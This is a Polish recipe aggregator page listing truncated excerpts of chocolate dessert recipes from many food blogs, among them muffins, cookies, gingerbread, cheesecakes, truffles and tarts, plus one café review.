Mięciutkie i lekkie muffiny w świątecznym klimacie. Super wilgotne, nie za słodkie. Z kawałkami czekolady i suszoną śliwką w środku. Można podawać je z powidłami śliwkowymi lub/i bitą śmietaną. Będą świetnym sposobem na  szybki deser nie tylko dla dzieci lub jako prezent, gdy idziemy w gości.  SKŁADNIKI / 12 sztuk 100 g masła 2 łyżki kakao 2 łyżki przyprawy(...)piernikowej 2 łyżki miodu 3 jajka 200 ml mleka 200 g mąki pszennej 2 łyżeczki proszku do pieczenia 200 g cukru DODATKOWO: 50 g pokrojonej w kostkę czekolady, garść posiekanych suszonych śliwek WYKONANIE Piekarnik rozgrzewamy do 180℃, z włączoną funkcją góra/dół bez termoobiegu. Formę na muffiny wykładamy papilotkami. Pokrojone w kostkę masło roztapiamy w rondelku. Dodajemy miód, kakao

cool and minty
Ciasteczka z orzeszkami ziemnymi i czekoladą 143

Bardzo kruche ciasteczka z orzeszkami ziemnymi i czekoladą .... mmmm pychotka     Ciasto: 300 g mąki 200 g masła 90 g cukru 1 jajko   80 g orzeszków ziemnych nie solonych 2 łyżki cukru ½ tabliczki mlecznej czekolady 1 łyżka mleka   Ze składników na ciasto wyrobić jednolitą masę (masło musi być schłodzone), wstawić do lodówki na pół godziny. Cukier rozpuścić(...)orzeszki i smażyć przez 3-4 minuty. Ciasto wyjąć z lodówki, rozwałkować na grubość 0,5 cm , wykrawać kółka posypać orzeszkami i piec prze 15 minut w 170 stopniach. Czekoladę rozpuścić wraz z mlekiem w kąpieli wodnej, polać nią ciasteczka

Jadło i czytadło
Bezowe pieczarki 199

takie na słodko to najbardziej :) Składniki: - 5 białek - 1 i 1/4 szklanki cukru kryształu - 1/2 łyżeczki soku z cytryny - 1 łyżeczka mąki ziemniaczanej oraz - kilka kostek rozpuszczonej gorzkiej czekolady Przygotowanie: Białka ubijamy na sztywną pianę. Następnie stopniowo dodajemy cukier, sok z cytryny oraz mąkę ziemniaczaną, cały czas miksując. Gdy masa jest już sztywna przekładamy ją do rękawa cukierniczego(...)wyciskamy po równo okrągłe ciasteczka oraz małe kopczyki, które później posłużą nam za nóżki do grzybków. Bezy suszymy około 1 godzinę w 100 C. Gorzką czekoladę rozpuszczamy w kąpieli wodnej i smarujemy nią spód upieczonych i ostudzonych ciasteczek. Następnie gdy czekolada już zastygnie robimy w ciasteczkach małe dziurki i wkładamy w nie upieczone nóżki

Zainspirowana w kuchni
Przepis #94 Kokosowe Brownie 138

Witajcie, przepis na "Kokosowe Brownie" powstał z miłości do kokosa i czekolady - to według mnie połączenie idealne. Ciasto nie zawiera białej mąki a dodany przeze mnie miód można pominąć lub zastąpić. Mimo, że nie należy do grupy ciast bardzo FIT to wspaniale wpasuje się w dni kiedy mamy ochotę na naprawdę coś słodkiego a nie chcemy zajadać się sklepowymi słodyczami(...)Składniki - 5 łyżek mąki owsianej - 4 jajka - 2-3 łyżki cukru/słodzika - 2 łyżki oleju kokosowego - 1 tabliczka gorzkiej czekolady - 2 łyżki miodu - 50 g wiórków kokosowych Wykonanie Olej kokosowy, cukier/słodzik oraz miód rozpuszczamy w rondelku cały czas mieszając. Następnie zdejmujemy garnek z ognia i wsypujemy pokruszoną tabliczkę czekoladę. Mieszamy do momentu aż się rozpuści. Kolejno dodajemy po jednym

Health-Fit-Life
FIT przekąska. Jesienne kulki dyniowe w trzech smakach 242

mąka owsiana) 30 g orzechów włoskich płynne słodzidło do smaku: miód, syrop klonowy, syrop daktylowy itp  SMAK 1: łyżeczka cynamonu, łyżka mąki kokosowej SMAK 2: 30 g czekolady gorzkiej 90% kakao SMAK 3: łyżeczka tartego imbiru, łyżeczka tartej skórki z pomarańczy, łyżka mąki kokosowej Dynię należy upiec w piekarniku do miękkości, obrać ze skórki i zmiksować blenderem na papkę(...)równe części. SMAK 1 : Do pierwszej dodać cynamon i łyżkę mąki kokosowej, ugnieść ręką. Formować małe kulki ok 10 gramowe SMAK 2 : Do drugiej części dodać roztopioną gorzką czekoladę i szybko zagnieść by czekolada nie zastygła za szybko. Formować małe kulki ok 10 gramowe SMAK 1 : Do trzeciej części dodać sparzony tarty imbir i sparzoną tartą skórkę pomarańczową i mąkę

coolinarny
Piernik z pomarańczową galaretką i marcepanem 162

minut.Resztę soku przelać do garnka i wraz z cukrem doprowadzić do wrzenia.Zdjąć z ognia dodać żelatynę i wymieszać do jej rozpuszczenia.Odstawić. Polewa czekoladowa: 100 g mlecznej czekolady 100 g gorzkiej czekolady 4 łyżki masła Czekoladę rozpuścić w kąpieli wodnej,dodać miękkie masło i mieszać do otrzymania jednolitej konsystencji.Lekko przestudzić i polać wierzch ciasta. Dodatkowo: 400 g masy

Anielskie wypieki
Ciasto z fasolą bez mąki 147

Ibiza.   Składniki: 1 puszka czerwonej fasoli 1 dojrzały banan* 3 łyżki kakao 2 jajka 3 łyżki miodu lipowego Miody Wileńskich 1 łyżeczka proszku do pieczenia 50 g gorzkiej czekolady 30 ml kremówki chipsy kokosowe Przygotowanie: Fasolę przepłukać i odsączyć na sitku. Wszystkie składniki wkładamy do naczynia z blendera kielichowego i miksujemy na gładką masę. Ciasto przelewamy do papierowej foremki(...)Wkładamy do piekarnika nagrzanego na 170 stopni i pieczemy około 45-50 minut.  Czekoladę z kremówką roztopić w kąpieli wodnej. Przestudzoną ale płynną czekoladą polać zimne ciasto i obficie posypać kokosowymi chipsami. *Banan najlepszy taki mocno dojrzały gdy skórka ma już czarne plamy

Ala piecze i gotuje
Czekoladowe muffiny z chili 140

prawdziwe #pornfood.  Składniki (na 12 muffin): 2 szklanki mąki pszennej  1/2 szklanki oleju aromatyzowanego chili  2 jaja  1 szklanka mleka  3 łyżki kakao  czekolada deserowa  1/2 szklanki cukru  2 łyżeczki proszku do pieczenia  1 łyżka Amaretto  Mąkę, kakao, cukier oraz proszek do pieczenia mieszam w jednej misce. W drugiej miksuję(...)olej, jajka, mleko oraz Amaretto. Składniki mokre łączę z suchymi a następnie krótko mieszam. Czekoladę dzielę na kostki. Foremki na muffiny wypełniam papilotkami. Nakładam do foremek ciasto, do 3/4 ich wysokości a następnie do środka wciskam po jednej kostce deserowej czekolady. Piekę muffiny przez 25 minut w piekarniku nagrzanym do 170 stopni. Studzę na kratce.  Smacznego, Klaudia

Mango Papaja
Szybki piernik – najlepszy 174

cynamonu – 2 łyżki gorzkiego kakao – 2 łyżeczki sody oczyszczonej – 2 łyżki kawy zbożowej – 250 ml mleka – 1/3 szklanki śmietanki kremówki 36% – 100 g czekolady deserowej – masło i odrobina mąki do wysypania formy Przygotowanie : Rozgrzej piekarnik do 175 st C. Keksówkę natrzyj miękkim masłem i wysyp mąką pszenną, tak aby ciasto nie przywarło podczas(...)upieczeniu wystudź całkowicie piernik. Wyjmij z formy i przekrój wzdłuż, posmaruj powidłami i nałóż ponownie górną połowę. W garnuszku podgrzej śmietankę i dodaj do niej połamaną na małe części czekoladę. Podgrzewaj na niedużym ogniu mieszając, aż do całkowitego rozpuszczenia się czekolady. Polewą polej piernik. SMACZNEGO! Idą Święta Bożego Narodzenia, to doskonały czas na pomyślenie o prezentach i przygotowywanych potrawach. Jeśli

nietylkopasta.pl
Czekoladowe trufle z mascarpone 147

Miękkie trufle z serka mascarpone, mlecznej czekolady i ekspandowanej kaszy jaglanej otulone delikatnym pyłkiem ciasteczkowym. Są słodkie i rozpływają się w ustach. Bardzo łatwe i szybkie do przygotowania. 250 g serka mascarpone 100 g kaszy jaglanej ekspandowanej 2 łyżki spirytusu 1 łyżka ekstraktu migdałowego 3 tabliczki czekolady mlecznej 1 opakowanie herbatników kakaowych (10 szt.) Czekoladę

Krokusowy Dom
BATONIKI ORZECHOWE BEZ PIECZENIA (keto, LCHF, paleo, optymalny, bez glutenu, laktozy i cukru) 286

gustu. Idealnie zastępuje sklepowe batoniki więc moja córka z chęcią zabiera je do szkoły. Jest w nich wszystko to, co lubimy czyli orzechy pecan, słonecznik, masła orzechowe, czekolada i olej kokosowy. Są nie tylko smaczne, ale i bardzo sycące. W dodatku nie zawierają cukru i słodzików, więc można śmiało dodać sobie tej zdrowej energii w ciągu dnia Składniki(...)oleju palmowego (u mnie masło z orzechów macadmia ) 1 łyżeczka wanilii opcjonalnie słodzik lub ksylitol Polewa czekoladowa: 100 g oleju kokosowego 50 g kakao w proszku 100 g gorzkiej czekolady (u mnie 91%) Zmiel w blenderze 200 g nasion słonecznika oraz orzechy pecan. Do masy dodaj miękki olej kokosowy, mąkę kokosową, wanilię, pozostałe niezmielone nasiona słonecznika oraz ulubione masła orzechowe

Ola la LCHF
MOTTO BISTRO CAFE czyli relaks od zgiełku w centrum miasta 165

zgiełku miasta . Fajnie jest posiedzieć przy klasycznym stole na kanapie lub krześle , a nie kolejnym wynalazku z europalet :D     Z ozdabiającymi ściany afirmacjami wyjątkowo się identyfikuję :) Czekoladę robi się z kakao , które pochodzi z drzewa kakaowca.. . Drzewo jest rośliną.. . A więc czekoladę spokojnie możemy uznać za sałatkę ! :D Obsługa już od drzwi przywitała mnie z uśmiechem(...)idealnie kruchego ciasta . Wnętrze solidnie wypełnione masą z mascarpone i bitej śmietany . Na wierzchu pokaźna porcja orzeszków ziemnych . Do tego słodko-słonawy posmak całości, zwieńczonej zygzakami z ciemnej czekolady .  Nie za słodko, nie za słono, po prostu idealnie ! Stwierdzam z pełnym przekonaniem: jest to najlepsze ciasto jakie degustowałam podczas aktualnej edycji Festiwalu Kawy ! Ogromne brawa dla MOTTO BISTRO CAFE

Grunt to przepis!
Urodzinowy tort z masłem orzechowym. 144

budynie waniliowe ( bez cukru i na pół litra mleka każdy ) 2 lekko kopiaste łyżki cukru pudru 20 dag masła 82 % 5 kopiastych łyżek masła orzechowego Dodatkowo: 5 dag mlecznej czekolady 20 dag okrągłych ciasteczek w czekoladzie Wykonanie: 1. Biszkopty: Białka ubijamy na sztywną pianę, wsypujemy cukier i ubijamy do całkowitego rozpuszczenia się cukru, następnie dodajemy żółtka i chwilę ubijamy(...)Przekładanie:  Kilka łyżek kremu odkładamy i przekładamy do rękawa cukierniczego z ozdobną końcówką. Pozostałym kremem przekładamy wystudzone krążki biszkoptowe, smarujemy również wierzch i boki tortu. 4. Dekorowanie:  Czekoladę łamiemy na małe kawałki, rozpuszczamy w kąpieli wodnej, następnie przekładamy do rękawa cukierniczego i dekorujemy nią boki tortu. Odłożoną masą za pomocą ozdobnej końcówki  dekorujemy tort. Część ciasteczek kruszymy

Izabelawkuchni
BISZKOPTY W KARMELOWEJ POLEWIE CZEKOLADOWEJ Z BITĄ ŚMIETANĄ 123

Składniki na śmietanę: 200 g śmietany 30%, opakowanie Fix do śmietany Cykoria, opakowanie cukru wanilinowego Cykoria, łyżeczka cukru pudru. Składniki na polewę: 50 g śmietany 30%, 20 g mlecznej czekolady, 30 g mlecznej czekolady karmelowej. Przygotowanie: Śmietanę podgrzewam, dodaję czekolady podzielone w kostki, chwilę czekam, zdejmuję z ognia, mieszam do uzyskania gładkiej konsystencji. Studzę. Biszkopty zanurzam w przygotowanej polewie czekoladowej

JejKuchnia
Mini babki majonezowe udekorowane kremem serowo-czekoladowym 300

Wielkopolskiego Miksu z Kokosem 1 jajko 1 łyżka soku z cytryny 1 łyżeczka cukru szczypta soli krem serowo-czekoladowy 1 opakowanie serka twarogowego naturalnego (135 g) 1 tabliczka białej czekolady (100 g) do dekoracji płatki w kształcie śniegu cukrowe perełki Na samym początku przygotować domowy majonez.   Do kubka lub słoika (ważne, aby spód naczynia miał taką samą szerokość(...)minut w 165ºC (aż do zarumienienia wierzchu ciasta i suchego patyczka). Upieczone babki delikatnie wyjąć z formy, przełożyć na duży talerz i pozostawić do ostudzenia.  Dekorowanie Czekoladę połamać i rozpuścić w kąpieli wodnej. Rozpuszczoną czekoladę wymieszać z serkiem twarogowym. Całość wstawić na kilka minut do lodówki. Gdy masa lekko stężeje to przełożyć ją do szprycy i udekorować nią mini

Ugotować
Kostka orzechowo-kokosowa na waflu 320

proszku do pieczenia krem: 1/2 l mleka 1/2 szkl cukru 1 bułka kajzerka  100 g wiórków kokosowych 200 g masła wierzch: 100 ml śmietany 30% 100 g białej czekolady 1 wafel suchy Przygotowanie: blaty orzechowe: Białka ubijamy z cukrem,a następnie dodajemy żółtka. Do masy delikatnie dodajemy mąkę, bułkę tartą i proszek.Masę dzielimy na dwie części. Jedną część(...)mleka z wiórkami dodajemy bułkę. Całość gotujemy chwilę, a następnie całość miksujemy blenderem. Masę studzimy. Ostudzoną masę łączymy z masłem w temperaturze pokojowej. Dzielimy ją na dwie części. wierzch: Czekoladę rozpuszczamy w lekko podgrzanej śmietanie Złożenie: Blat z wafla i orzechów smarujemy połową masy kokosowej, przykrywamy drugim blatem, na który wykładamy pozostałą część masy kokosowej. Przykrywamy waflem, który polewamy polewą

Bon appetit mon amie
Wafle z masą z suchego mleka i bakaliami 217

wody 1 szkl cukru 3 łyżki ciemnego kakao 250 g mleka w proszku 50 g orzechów nerkowca 50 g suszonej żurawiny 50 g siekanych pistacji Polewa: 100 g gorzkiej czekolady 1 łyżeczka oleju kokosowego pistacje do posypania  Przygotowanie: Masło, wodę, cukier i kakao rozpuścić i zagotować. Zdjąć z ognia i pozostawić do przestudzenia. Do jeszcze letniej masy wsypać mleko(...)masy, przykryć waflem, rozsmarować resztę masy i przykryć trzecim waflem. Całość owinąć folią i z góry lekko obciążyć. Pozostawić w chłodnym miejscu na kilka godzin aż masa całkowicie stężeje. Czekoladę i olej kokosowy rozpuścić w kąpieli wodnej. Pozostawić do przestudzenia. Zimną ale płynną czekoladą posmarować wierzch wafla i posypać siekanymi pistacjami. Ponownie odłożyć do schłodzenia. Przed podaniem pokroić na kawałki

Ala piecze i gotuje
Chatka "Baby Jagi" 101

niego na środku ciemny ser. Złożyć ciastka aby utworzyły stożek. Polać ciasto polewą. Polewa: 1/3 margaryny 4 łyżki cukru 1 łyżka kakao 1 łyżka wody 2-3 kostki gorzkiej czekolady Wszystko oprócz czekolady rozpuścić, kiedy zaczyna się gotować, zdjąć z ognia. Dodać gorzką czekoladę i wymieszać. Wystudzić.   W ten sposób układamy herbatniki W ten sposób wykładamy

Olga Piecze i Gotuje
SZYBKIE KRUCHE ROGALIKI 251

przepyszny mus "śliwkowe czeko love" i "białe jabłuszko" od  małe szczęścia . Mus okazał się strzałem w dziesiątkę, dodał lekkiej słodyczy rogalikom. "Śliwkowe czeko love" to śliwki zanurzone w czekoladzie w formie powideł, natomiast "białe jabłuszko" to mus jabłkowy z dodatkiem białej czekolady. Oj chciałoby się wyjadać takie łakocie prosto ze słoiczków :) Składniki na około 32 rogaliki: * 3 szklanki mąki(...)pszennej * 200 g zimnego masła  * 2 żółtka * 1/4 szklanki cukru pudru * 1 łyżka kwaśnej gęstej śmietany Dodatkowo: Nadzienie: marmolada, dżem, powidła, czekolada lub inne ulubione. Wykonanie: W misce umieścić wszystkie składniki (oprócz nadzienia), zagnieść ciasto, w razie czego dosypać odrobinę mąki. Ciasto owinąć folią i włożyć do zamrażalnika na 15-20 minut. Następnie ciasto podzielić na 4 części. Każdy

Zrób to smacznie
TORT Z DWOMA KREMAMI 150

blaty  Przepis tutaj :) Składniki kremu białego: 300 g mascarpone, 330 g śmietany 30%, cukier puder. Składniki kremu czekoladowego: 250 g śmietany 30%, 250 g mascarpone, 200 g gorzkiej czekolady, cukier puder. Składniki nasączenia: Mocna kawa (3 czubate łyżeczki kawy rozpuszczalnej rozpuszczone w 120 ml wody), kilka kropel aromatu waniliowego. Dodatkowo: 6 czekoladowych różyczek, opakowanie złotych perełek. Przygotowanie: Każdy blat(...)Przygotowuję biały krem: ubijam śmietanę z cukrem pudrem (ilość zależna od tego, jak słodkie lubicie), następnie stopniowo dodaję mascarpone, cały czas mieszając mikserem (na najmniejszych obrotach). Przygotowuję krem czekoladowy: czekoladę rozpuszczam w kąpieli wodnej, odstawiam do przestygnięcia (aż będzie lekko ciepła, a nie gorąca). Mascarpone miksuję z cukrem pudrem (około 4 łyżek), nie przestając miksować wlewam czekoladę cienkim strumieniem

JejKuchnia
Kruche ciastka z nerkowcami i czekoladą 190

Pyszne, kruche ciasteczka z nerkowcami i gorzką czekoladą. Nerkowce są w miodzie - mówię Wam niebo w gębie! Idealne do porannej kawki. Uwaga szybko znikają! Zamiast nerkowców, możecie użyć każdego innego orzecha lub migdały :) Składniki (na 2-3 blachy ciastek): - 300g mąki pszennej - 200g masła (zimnego) - 100g cukru pudru - 1 jajko - 2-3 garście nerkowców (lub innych orzechów) - 1 czubata łyżka(...)miodu - 25 g gorzkiej czekolady Z mąki, zimnego masła, jajka i cukru pudru zagnieść ciasto. Nie wiesz jak? Tutaj znajdziesz krok po kroku, jak zrobić idealne kruche ciasto. Ciasto rozwałkować na grubość 2-3 mm.Wykroić krążki ciasta i ułożyć na blaszce wyłożonej papierem do pieczenia. W garnuszku rozpuścić miód i wsypać orzechy. Orzechy dokładnie wymieszać tak, aby każdy orzeszek

CookYourself
kokosanki w czekoladzie 124

pewnie wiecie uwielbiam wszystko, co ma w sobie kokos. A jeśli jest w tym jeszcze czekolada, to już w ogóle obłęd. Dlatego tradycyjne kokosanki oblałam mleczną polewą i wyszło trochę jak batoniki bounty.  Składniki na około 30 sztuk: 2 białka 70 g masła 200 g wiórek kokosowych 1/2 szklanki cukru 2 łyżki budyniu śmietankowego szczypta soli 100 g mlecznej(...)czekolady 2 łyżki mleka Masło, połowę cukru i kokos umieścić w rondelku, zagotować. Wsypać budyń, wymieszać i wystudzić. Białka ubić z pozostałym cukrem i solą. Wmieszać masę kokosową. Wilgotnymi dłońmi lepić kulki, lekko spłaszczać i układać na blaszce wyścielonej papierem do pieczenia. Wstawić do piekarnika nagrzanego do 180*C i piec około 16 minut. Wystudzić. Czekoladę połamać, zalać mlekiem

Domowa Cukierenka-Domowa Kuchnia
Sernik dyniowo-cytrynowy na czekoladowym spodzie. 177

zrobienia o pięknym pomarańczowym kolorze, i bogatym smaku. Sezon na dynie w pełni, więc to doskonały czas na upieczenie sernika dyniowego. Spód sernika jest z mielonych migdałów i czekolady.  Bardzo ciekawe połączenia.  Polecam Wam serdecznie  Spód (tortownica o rozmiarze 24 cm) 2 białka 50 g cukru pudru 60 g mielonych migdałów 2 łyżki kakao 50 g pokruszonej(...)bardzo drobno czekolady mlecznej lub gorzkiej  1/2 łyżeczki pasty waniliowej.   Białka ubić na sztywną pianę, następnie dodać stopniowo cukier puder- łyżka po łyżce.  Ubić aż piana będzie sztywna i błyszcząca. Dodać mielone migdały, czekoladę, przesiane kakao i pastę waniliową. Delikatnie wymieszać. Blaszkę wyłożyć papierem do pieczenia(samo dno), wyłożyć masę czekoladową i wyrównać. Piec w temperaturze

Piekarz-Kucharz-Garkotłuk
Ciasto marchewkowe z polewą czekośliwkową 280

Miękkie, wilgotne ciasto marchewkowe z dodatkiem orzechów włoskich i migdałów. Polane bardzo smaczną polewą ze śliwek i czekolady, czyli taka czekośliwka :) 3 jajka 3/4 szklanki cukru 3/4 szklanki oleju 1 szklanka mąki pszennej 1/2 szklanki mąki krupczatki 100 g drobno posiekanych migdałów 50 g drobno posiekanych orzechów włoskich 1/2 łyżeczki cynamonu 1 1/2 łyżeczki proszku do pieczenia 1/2 łyżeczki sody(...)tartej marchewki POLEWA ŚLIWKOWA: 200 g śliwek węgierek 2 łyżki cukru 100 g czekolady gorzkiej 70% Marchewkę zetrzeć na tarce jarzynowej na drobnych oczkach. Migdały i orzechy włoskie rozdrobnić lub drobno posiekać. Wymieszać z przesianą mąkę pszenną, mąką krupczatką, cynamonem, proszkiem do pieczenia i sodą. Jajka utrzeć z cukrem, aż całkiem się rozpuści, a masa zbieleje i zwiększy objętość. Cały

https:KKuchniaMniam
Tarta z musem czekoladowym, malinami i pomarańczą 158

śmietanki 30% 100 gorzkiej czekoladowy (użyłam gorzkiej 70% z nutą pomarańczy) duża łyżka serka mascarpone dodatkowo: maliny sparzona, wyszorowana i pokrojona pomarańcza opcjonalnie mini bezy opcjonalnie starta czekolada Mąkę mieszamy z cukrem i solą. Siekamy z masłem po czym rozcieramy palcami towrząc drobną kruszonkę. Dodajemy jajko i zagniatamy na gładkie ciasto. Jeśli trzeba schładzamy je w lodówce. Piekarnik nagrzewamy(...)dnem, o średnicy 30 cm). Nakłuwamy widelcem, przykrywamy kawałkiem papieru do pieczenia i obciążamy kuleczkami do pieczenia. Pieczemy 20-25 minut, w zależności od piekarnika i odstawiamy do wystudzenia. Czekoladę roztapiamy w kąpieli wodnej i odstawiamy do wystudzenia. Przygotowujemy mus. Śmietankę ubijamy na sztywno. Dodajemy mascarpone oraz przestudzoną czekoladę i dalej miksujemy, ale na mniejszych obrotach. Gdy składniki dobrze się

Mienta blog
SZYBKI DESER KAWOWO-ŚMIETANKOWY 118

ILOŚĆ PORCJI: 2 Składniki podstawowe: 16 okrągłych biszkoptów, 3 łyżeczki kawy zbożowej Cykoria. Składniki kremu: 150 g śmietany 30%, 150 g serka mascarpone, cukier puder. Dekoracja: 2 kostki gorzkiej czekolady, perełki złote. Przygotowanie: Kawę zalewam wrzątkiem (70-80 ml), mieszam, odkładam pod przykryciem na 5 minut. Następnie przelewam przez sitko do miski i studzę. Śmietanę ubijam na sztywno z cukrem(...)pudrem (ilość zależna od tego jak słodkie lubicie). Nadal miksując na najmniejszych obrotach, dodaję po łyżce mascarpone. Czekoladę siekam nożem. Biszkopty nasączam w przygotowanym naparze kawowym. Układam warstwy deseru w dwóch niskich szklankach lub pucharkach: 4 szt. biszkoptów, masa śmietanowa, pozostałe biszkopty i pozostała masa. Całość posypuję czekoladą oraz dekoruję złotymi perełkami. Chłodzę w lodówce. Najlepiej zostawić deser

JejKuchnia
Fondant czekoladowe 180

Desery czekoladowe to zdecydowanie jedna z moich ulubionych form deseru. Fondant czekoladowe, Lava cake czy po prostu ciastko czekoladowe z rozlewającą się płynną czekoladą z dodatkiem malin to przepis na dzisiejszy pyszny deser Składniki 2-4 porcje: – 100g gorzkiej czekolady – 50g masła + trochę do wysmarowania – 2 jajka – 3 łyżki cukru – szczypta soli – cukier puder(...)ciastka) lub 2 większe o średnicy 10 cm i wysokości 6 cm (wtedy wyjdą nam 2 ciastka). Foremki wysmarować masłem i obsypać mąką.Piekarnik nagrzać do 200 stopni C. Czekoladę połamać i rozpuścić z masłem w kąpieli wodnej – zdjąć z ognia i odczekać chwilę aby lekko się schłodziło. Dodać jajka, cukier i sól i krótko zmiksować na gładką masę

I LOVE LIFE
MURZYNEK Z DŻEMEM 121

Mocno czekoladowy i wilgotny murzynek z domowym dżemem z dyni i polewą z mlecznej czekolady -  inspirowany jesienią 🍂 Przepis prosty i szybki a wypiek zaskakujący !  Gorąco polecam  Składniki:   3 jaja  1 szklanka cukru  3 szklanki mąki krupczatki 1 szklanka oleju  3 łyżki ciemnego kakao 1/2 słoika dżemu (ja użyłam domowego dżemu z dyni(...)piekarniku nagrzanym do 180 st. C ok. 40-45 min. Po wbiciu wykałaczki powinna być sucha.  6. Na przestudzone ciasto wylewamy polewę czekoladową *  * Polewa czekoladowa: Rozpuszczamy mleczną czekoladę z odrobiną mleka ( nie powinna być za rzadka ani za gęsta). W szklance rozpuszczamy w odrobinie wody łyżeczkę żelatyny, następnie wlewamy do roztopionej czekolady. Jeszcze gorącą polewamy ciasto.  ** Dzięki

Marcepanowa kuchnia
Czekoladowy torcik z owocami 106

szklankę daktyli, 1 szklankę wiórków kokosowych, ½ szklanki płatków owsianych błyskawicznych, 1 łyżkę masła lub oleju kokosowego, Krem czekoladowy: 2 puszki mleczka kokosowego (o pojemności 400 ml), 2 gorzkie czekolady o wysokiej zawartości kakao, dowolne owoce (jagody, wiśnie, maliny – u mnie nektarynki pokrojone na cząstki). Przynajmniej na 24 godziny przed przygotowaniem tego ciasta wstaw mleko kokosowe do lodówki – tylko mocno schłodzone(...)warstwą na dnie tortownicy. Puszki z mlekiem kokosowym otwórz i delikatnie przełóż do garnka stałą (białą) część (pozostały płyn wylej lub wykorzystaj w innym celu, ponieważ nie będzie potrzebny). Czekoladę połam i dodaj do mleka kokosowego. Całość podgrzewaj, mieszając, na małym ogniu do momentu, gdy czekolada się rozpuści. Pamiętaj, aby nie dopuścić do zagotowania się masy. Gotowy krem czekoladowy odstaw

blog.moje-pasje.info
Sernik na spodzie z brownie z czekoladową polewą 131

sernik. Miał być mokry i na czymś czekoladowym więc jest sernik na spodzie z brownie. Myślę, że ciasto bardzo smakowało! Składniki : Ciasto :  * 250g masła * 2 tabliczki gorzkiej czekolady  * 1 szklanka cukru  * 3 łyżki kakao  * 5 łyżek wody  * cukier waniliowy  * 4 jajka   * 1,5 szklanki mąki pszennej  * 3 łyżeczki proszku do pieczenia(...)Masa serowa : * 10g masła  * 200g jogurtu typu greckiego * 800g serka twarogowego  * 4 jajka  * szklanka cukru  * 2 opakowania budyniu waniliowego  Przygotowanie : Czekoladę rozpuścić razem z masłem, cukrami, kakao i wodą. Wystudzić. Do masy dodać żółtka oraz mąkę i proszek do pieczenia. Ciasto wylać na blaszkę. Masło wymieszać z cukrem i z jajkami. Dodać ser i jogurt

Magiczne Życie Marty
Torcik cappuccino czyli Slodki Czwartek odc.142 162

Tydzień temu Małżon miał urodziny.  Kawosz, to wiadomo nie od dziś, i wielbiciel śliwek w czekoladzie, to tez wiadomo już od dawna. Wyczarowałam mu takie ciacho. Skorzystałam  z TEGO przepisu ale do zmodyfikowałam oczywiście :) powstał lekki, łatwy w przygotowaniu torcik, pachnący kawą. Torcik cappuccino 500 ml śmietany 30% 330 g serka mascarpone 5 łyżeczek kawy inki lub innej(...)kawy instant 2 łyżki cukru pudru 100 g herbatników łyżeczka masła do posmarowania formy kilka śliwek w czekoladzie pokrojonych na plasterki Tortownicę o średnicy 20 cm smarujemy masłem. Spód wykładamy połową herbatników, tak aby pokryły dno formy. Do misy miksera wlewamy schłodzoną śmietanę i dodajemy serek mascarpone oraz cukier puder, kawę inkę. Wszystko miksujemy, aż masa zgęstnieje. Połowę masy wykładamy

Dzieje kuchennej Wiewióry
Piernikowe z kremem i jabłkami 230

się robić różne wariacje tego typu wypieków. Tym razem popełniłam delikatne ciasto ucierane z dodatkiem jabłek i przyprawy do piernika, a dodatkowo przełożone kremem maślano-śmietanowym i polane czekoladą. Z racji swej puszystości wyglądało jak wyglądało, ale uwierzcie mi smakowało rewelacyjnie.  Ciasto piernikowe: 6 jajek 1 szklanka cukru 4 łyżki miodu 2 łyżeczki przyprawy do piernika 1 płaska łyżeczka(...)upieczeniu studzimy i kroimy na 3 części. Krem: 1  kostka masła 1 szklanka cukru pudru 1 szklanka kwaśniej śmietany (u mnie 18%) 1 cukier waniliowy 1 czekolada mleczna 3-4 łyżki mleka Masło ucieramy z cukrami na puch, następnie cały czas ucierając dodajemy po łyżce śmietany. Pierwszy placek ciasta piernikowego smarujemy kremem, przykrywamy drugim plackiem i ponownie smarujemy resztą

Cynamonowe szczęście
Sernik z mascarpone 134

wyszło ciasto. A raczej wyszło, z piekarnika wyszło i za szybko. Dopiec się nie udało. Z pozostałej masy twarogowej zrobiłam sernik. Wyszedł delikatny, trochę puszysty i bardzo pomarańczowy. Gorzka czekolada bardzo pasowała do tego towarzystwa. 500 g mascarpone 250 g chudego sera twarogowego 250 g serka typu włoskiego (capri) 100 ml soku z pomarańczy kilka kropel esencji pomarańczowej 4 jajka(...)słodziwa (ja użyłam erytrolu) 100 g mąki ziemniaczanej 1 łyżeczka proszku do pieczenia 50 g gorzkiej czekolada (ja użyłam z orzechami, słodzonej stewią) Twaróg i mascarpone ucieramy dokładnie ze słodziwem i sokiem z pomarańczy oraz esencją. Masa powinna być puszysta. Białka ubijamy na sztywną pianę. Żółtka, mąkę i proszek dodajemy do masy serowej i ucieramy dokładnie. Następnie delikatnie łączymy masę

Kucharzyca
Ciastka z AMARANTUSEM I KREMEM CZEKOLADOWYM (bez mąki, bez cukru, wegańskie, bezglutenowe) 191

sody oczyszczonej 50 g kokosu 50 ml oleju (1/4 szklanki) Składniki – mus: 100 g musu kokosowego (lub twardej części mleczka kokosowego) 3 łyżki mleka (roślinnego) 100 g gorzkiej czekolady 1 łyżka oleju kokosowego Sposób przygotowania: Banany i daktyle zblenduj. Powstałą masę wymieszaj z amarantusem, płatkami jaglanymi, sodą oczyszczoną, kokosem i olejem. Następnie uformuj ciastka. Piecz(...)minut w 180 stopniach Celsjusza. Aby przygotować krem mus kokosowy lub twardą część mleczka kokosowego zmiksuj na gładką masę z dodatkiem mleka. Czekoladę roztop w kąpieli wodnej, a następnie dodaj do niej olej kokosowy i wymieszaj do rozpuszczenia. Czekoladę dodawaj partiami do musu kokosowego cały czas miksując. Gotowym kremem przełóż ciastka lub napełnij je za pomocą szprycy. Via Gusto życzy

Via Gusto
Piernik przełożony powidłami. 154

posmarować powidłami. Wierzch polać polewą czekoladową. Ja posypałam jeszcze płatkami migdałów. Mój piernik wyrósł z górką więc trochę go ścięłam od góry, żeby ładnie wyglądał :) Polewa: 50 g. czekolady gorzkiej 50 g. czekolady mlecznej 4 łyżki mleka 1 łyżeczka masła. Czekoladę z masłem i mlekiem rozpuścić w rondelku cały czas mieszając

Agusiowe smakołyki
Tarta orzechowo czekoladowa na niedzielę 117

